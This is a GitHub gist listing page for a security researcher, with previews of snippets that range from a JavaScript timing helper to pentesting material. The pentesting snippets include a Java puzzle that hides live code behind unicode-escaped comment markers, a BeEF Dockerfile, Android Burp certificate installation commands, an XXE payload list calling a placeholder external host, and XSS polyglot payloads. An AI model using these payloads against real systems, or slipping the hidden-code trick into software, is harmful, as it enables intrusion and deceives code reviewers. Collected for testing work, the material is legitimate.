Skip to content

Instantly share code, notes, and snippets.

@eoftedal
eoftedal / perflog
Created December 9, 2014 19:48
Performance logging in Chrome
function perfLog(fun, context) {
var context = context || this;
var realFun = context[fun.name];
context[fun.name] = function() {
console.time(fun.name);
var result = realFun.apply(context, arguments);
console.timeEnd(fun.name);
return result;
}
}
@eoftedal
eoftedal / keybase.md
Created December 12, 2014 08:31
keybase

Keybase proof

I hereby claim:

  • I am eoftedal on github.
  • I am erlendoftedal (https://keybase.io/erlendoftedal) on keybase.
  • I have a public key whose fingerprint is 1971 4B8D 1365 B742 0C11 3537 E624 182F FB00 B0E6

To claim this, I am signing this object:

@eoftedal
eoftedal / Lottery.java
Last active August 29, 2015 14:19
Crazy stuff
import java.security.SecureRandom;
import java.math.BigInteger;
public class Lottery {
private static SecureRandom random = new SecureRandom();
public static void main(String[] args) {
String lotteryNumber = new BigInteger(130, random).toString(32);
/* Used when testing \u002a\u002f
lotteryNumber = "123";
import java.security.SecureRandom;
import java.math.BigInteger;
public class Lottery {
private static SecureRandom random = new SecureRandom();
public static void main(String[] args) {
/*
****************************************************************************************************************************************
@eoftedal
eoftedal / Puzzle.java
Created April 24, 2015 09:44
What is printed?
public class Puzzle {
public static void main(String[] args) {
String a = "1";
String b = "\u0022\u003b\u0061\u003d\u0022\u0032\u0022\u003b\u002f\u002f";
System.out.println(a);
}
}
@eoftedal
eoftedal / Dockerfile
Last active November 19, 2015 12:05
Dockerfile for BeEF
FROM ubuntu
RUN apt-get update && apt-get upgrade -y && apt-get install -y build-essential libsqlite3-dev sqlite3 libssl-dev curl
RUN apt-get install -y software-properties-common && \
apt-add-repository -y ppa:brightbox/ruby-ng && \
apt-get update && \
apt-get install -y ruby2.1 ruby2.1-dev
WORKDIR /opt/
RUN locale-gen en_US.UTF-8
ENV LC_ALL en_US.UTF-8
RUN curl https://codeload.github.com/beefproject/beef/tar.gz/beef-0.4.6.1 -o beef-0.4.6.1.tar.gz && \
http://techblog.vsza.hu/posts/Using_Android_emulator_with_Burp_Suite.html
adb shell mount -o rw,remount /system
openssl x509 -in burp.cer -inform DER -text
openssl x509 -noout -subject_hash_old -inform DER -in burp.cer
adb push burp.cer /system/etc/security/cacerts/9a5ba575.0
@eoftedal
eoftedal / XXE_payloads
Created July 7, 2017 14:49 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@eoftedal
eoftedal / xss-polyglots.txt
Created October 10, 2019 16:57 — forked from michenriksen/xss-polyglots.txt
XSS Polyglot payloads
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<
@eoftedal
eoftedal / dep-check.sh
Created November 22, 2019 08:25
Scan an image using OWASP Dependency check
#!/bin/bash
export COLOR_NC=$(tput sgr0)
export COLOR_GREEN=$(tput setaf 2)
if [ $# -ne 2 ]; then
echo "ERROR: no image given"
echo "USAGE: ./scan.sh <some_image>[:some_tag] <path in image>"
exit 1
fi